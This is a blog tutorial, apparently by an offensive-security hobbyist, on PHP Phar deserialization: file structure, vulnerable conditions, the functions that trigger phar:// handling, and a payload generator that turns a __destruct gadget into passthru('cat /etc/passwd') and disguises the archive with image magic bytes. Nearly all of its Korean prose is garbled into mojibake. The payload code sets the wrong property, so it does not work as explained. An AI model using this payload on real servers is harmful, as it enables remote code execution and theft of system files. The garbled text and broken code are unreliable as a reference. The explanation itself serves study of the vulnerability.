Phar Deserialization

2025. 3. 19. 17:16ยท๐Ÿ–Œ๏ธ Theory/WEB

Serialization & Deserialization

  • Serialization : ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ์ฒด๋‚˜ Object ์ƒํƒœ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ ํ™˜๊ฒฝ์—์„œ๋„ ํ•ด์„๋  ์ˆ˜ ์žˆ๋„๋ก Byte Stream ์ƒํƒœ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ณผ์ •
  • Deserialization : Byte Stream ์ƒํƒœ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ์ฒด๋‚˜ Object๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ณผ์ •

Phar (PHP Archive)

Phar๋Š” ๋‚ด๋ถ€์— ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ PHP ์ฝ”๋“œ๋ฅผ ๋ชจ์•„๋†“์€ ์•„์นด์ด๋ธŒ ํฌ๋งท์„ ๋œปํ•œ๋‹ค. Phar ํŒŒ์ผ์€ ์•„๋ž˜ 4๊ฐ€์ง€์˜ ๊ตฌ์กฐ๋กœ ์ด๋ฃจ์–ด์ง„๋‹ค.

  • Stub
  • Manifest
  • File Contents
  • Siganutre (Optional)

[ Stub ]

Stub์€ ์ž‘์€ ํ˜•ํƒœ์˜ ์ฝ”๋“œ๋ฅผ ๋‹ด์„ ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐ„์ด๋‹ค. Stub์˜ ๋งˆ์ง€๋ง‰ ๋ช…๋ น์–ด์—๋Š” ๋ฐ˜๋“œ์‹œ _HALTCOMPILER()๊ฐ€ ํฌํ•จ๋˜์–ด์•ผ ํ•œ๋‹ค. Stub์„ ์„ค์ •ํ•˜๋ ค๋ฉด setStub(string $stub) ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ๋œ๋‹ค.

[ Manifest ]

Phar ํŒŒ์ผ์— ๋Œ€ํ•œ MetaData์— ๋Œ€ํ•œ ๋ถ€๋ถ„์ด๋‹ค.

[ Phar Manifest file entry ]

Size in bytes     Description
4 bytes         Filename length in bytes
??              Filename (length specified in previous)
4 bytes         Un-compressed file size in bytes
4 bytes         Unix timestamp of file
4 bytes         Compressed file size in bytes
4 bytes         CRC32 checksum of un-compressed file contents
4 bytes         Bit-mapped File-specific flags
4 bytes         Serialized File Meta-data length (0 for none)
??                 **Serialized File Meta-data, stored in serialize() format**

์•„๋ž˜ ๋ถ€๋ถ„์—์„œ ๊ฐ€์žฅ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์ด ํ•ต์‹ฌ์ด๋‹ค. serialize ํ•จ์ˆ˜๋กœ Byte Stream ๋ฐ์ดํ„ฐ๋ฅผ ์ง๋ ฌํ™”ํ•˜๊ฒŒ ๋œ๋‹ค. ์ด ๋ถ€๋ถ„, ์ฆ‰ Phar Deserialization ์ทจ์•ฝ์ ์€ PHP Wrapper๊ฐ€ Phar ํŒŒ์ผ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ, MetaData๊ฐ€ ์ž๋™์œผ๋กœ ์—ญ์ง๋ ฌํ™”๋˜๋Š” ๋ถ€๋ถ„์„ ์•…์šฉํ•œ๋‹ค.

[ File contents and Signature ]

  • File Contents : Phar ๋‚ด ๋ฐ์ดํ„ฐ ์˜์—ญ
  • Signature : Phar์— ๋Œ€ํ•œ ์‹œ๊ทธ๋‹ˆ์ฒ˜

์ทจ์•ฝ์  ์กฐ๊ฑด

  • PHP 5.0.0 ~ 7.4 ๋ฒ„์ „์—์„œ ๊ฐ€๋Šฅ
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ Phar ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ
  • ์„œ๋ฒ„ ๋‚ด ์ฝ”๋“œ ์ค‘ class์—์„œ __destruct() ํ˜น์€ __wakeup()๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
  • ์„œ๋ฒ„๊ฐ€ phar:// Wrapper๋กœ ์ฒ˜๋ฆฌ ๊ฐ€๋Šฅํ•ด์•ผ ํ•จ

์ทจ์•ฝ์  ์ƒ์„ธ ์„ค๋ช…

์•„๊นŒ ๋งํ–ˆ๋“ฏ, Manifest์˜ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์— ์กด์žฌํ•˜๋Š” serialize()ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— Deserialization ์ทจ์•ฝ์ ์— ๋…ธ์ถœ๋œ๋‹ค.

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>

TestObject ๊ฐ์ฒด๊ฐ€ ์žˆ๊ณ  __desturct()ํ•จ์ˆ˜์˜ data๋ฅผ ๋ณด์—ฌ์ฃผ๊ฒŒ๋” ์ฝ”๋“œ๊ฐ€ ์ •์˜๋˜์–ด ์žˆ๋‹ค.

<?php
    class TestObject {
    }
    $phar = new Phar("test.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub ์˜์—ญ. 
    $content = new TestObject();
    $content -> data='THIS_IS_GUEST';
    $phar->setMetadata($content); // manifest์— ๋ฐ์ดํ„ฐ๋ฅผ ์”๋‹ˆ๋‹ค. TestObject ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ด์„œ ๊ฐ’์„ ์ฑ„์šด ํ›„ ๊ฐ์ฒด ๋ฐ์ดํ„ฐ๊ฐ€ ๋“ค์–ด๊ฐ”์Šต๋‹ˆ๋‹ค.
                            // phar ํŒŒ์ผ์˜ manifest ์˜์—ญ์—” Serialized๋œ TestObject ๊ฐ์ฒด๊ฐ€ ๋“ค์–ด๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

์œ„ ์ฝ”๋“œ์˜ ๊ฒฐ๊ณผ ๊ฐ’์€ "THIS_IS_GUEST"๊ฐ€ ๋‚˜์˜ฌ ๊ฒƒ์ด๋‹ค. ์˜ˆ์‹œ๋ฅผ ํ•˜๋‚˜ ๋” ๋“ค์–ด๋ณด์ž.

<?php
  function goodbye($name) {
      echo "Hello, $name!\n";
  }

  class Customer {
      public $greet = 'goodbye';
      public $name = 'John';
      function __destruct() {
          call_user_func($this->greet, $this->name);
      }
  }
?>

์„œ๋ฒ„ ๋‚ด ์ฝ”๋“œ์— ์œ„์™€ ๊ฐ™์ด ์ •์˜๋˜์–ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์ž. ์œ„ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด๋ณด์ž. Phar Deserialization ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ ํŠน์ • ํŒŒ์ผ์„ ์ฝ๋Š” ํŽ˜์ด๋กœ๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

<?php
class Customer {
    public $greet = 'goodbye';
    public $name = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->name);
    }
}

$phar = new Phar('malicous.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER();?>');

// ํŠน์ • ํ™•์žฅ์ž๋งŒ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด์•„๋ž˜์™€ ๊ฐ™์ด setStub์„ ๊ตฌ์„ฑ
// MAGIC BYTES Example: GIF -> GIF89a / JPEG -> \xff\xd8\xff\n
// phar -> php๋กœ ๋ณ€ํ™˜ ํ›„, ํ™•์žฅ์ž๋„ ์กฐ๊ฑด์— ๋งž๊ฒŒ ๋ณ€๊ฒฝํ•ด์ค˜์•ผ ํ•จ
// $phar->setStub('[MAGIC_BYTES]'.'<?php __HALT_COMPILER();?>');

$object = new Customer();
$object->greet = "passthru";
$object->customer = "cat /etc/passwd";

$phar->setMetadata($object);
$phar->stopBuffering();
?>

ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ์›๋ฆฌ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  1. Customer ํด๋ž˜์Šค๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ phar ํŒŒ์ผ ๋‚ด์—์„œ๋„ Customer ํด๋ž˜์Šค๋ฅผ ์ •์˜ํ•ด์•ผ ํ•œ๋‹ค.
  2. goodbye() ํ•จ์ˆ˜ ๋Œ€์‹  passthru()๋ฅผ ์‹คํ–‰ (RCE๋ฅผ ์œ„ํ•ด์„œ)
  3. Customer ํด๋ž˜์Šค ๋‚ด๋ถ€์˜ ๋˜ ๋‹ค๋ฅธ ๋ณ€์ˆ˜์ธ $name์—๋Š” ์ธ์ž๋ฅผ ์ค€๋‹ค. (์ธ์ž=๋ช…๋ น์–ด)

Phar ์ฒ˜๋ฆฌ๊ฐ€ ๊ฐ€๋Šฅํ•œ functions

file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()

ETC

์ด๋Ÿฐ ํˆด๋„ ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค. ๋งํฌ

์ €์ž‘์žํ‘œ์‹œ ๋น„์˜๋ฆฌ ๋ณ€๊ฒฝ๊ธˆ์ง€ (์ƒˆ์ฐฝ์—ด๋ฆผ)
'๐Ÿ–Œ๏ธ Theory/WEB' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • XXE Injection (Basic Concept & Real World Case)
  • Cache Poisoning Attack
  • PHP HEAD Method Trick (GDG Algiers CTF 2022)
  • Advanced Tips For SSRF Attack
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • ๐Ÿšฉ CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • ๐Ÿ’ป Security (5)
      • ๐Ÿ–Œ๏ธ Theory (22)
        • WEB (9)
        • PWN (13)
      • ๐Ÿ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
  • ๋งํฌ

  • ๊ณต์ง€์‚ฌํ•ญ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    bug hunter
    pwntools
    Machine Learning
    Remote Code Execution
    RCE
    TFCCTF2022
    cache
    sqli
    TsukuCTF2022
    bug report
    python
    Ubuntu ๊ธฐ์ดˆ ์…‹ํŒ…
    GPNCTF
    justCTF
    Ubuntu ๊ธฐ์ดˆ
    Deep learning
    cache poisoning
    Text Summarization
    Crypto
    ubuntu ๋ช…๋ น์–ด
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

Cronus
Phar Deserialization
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”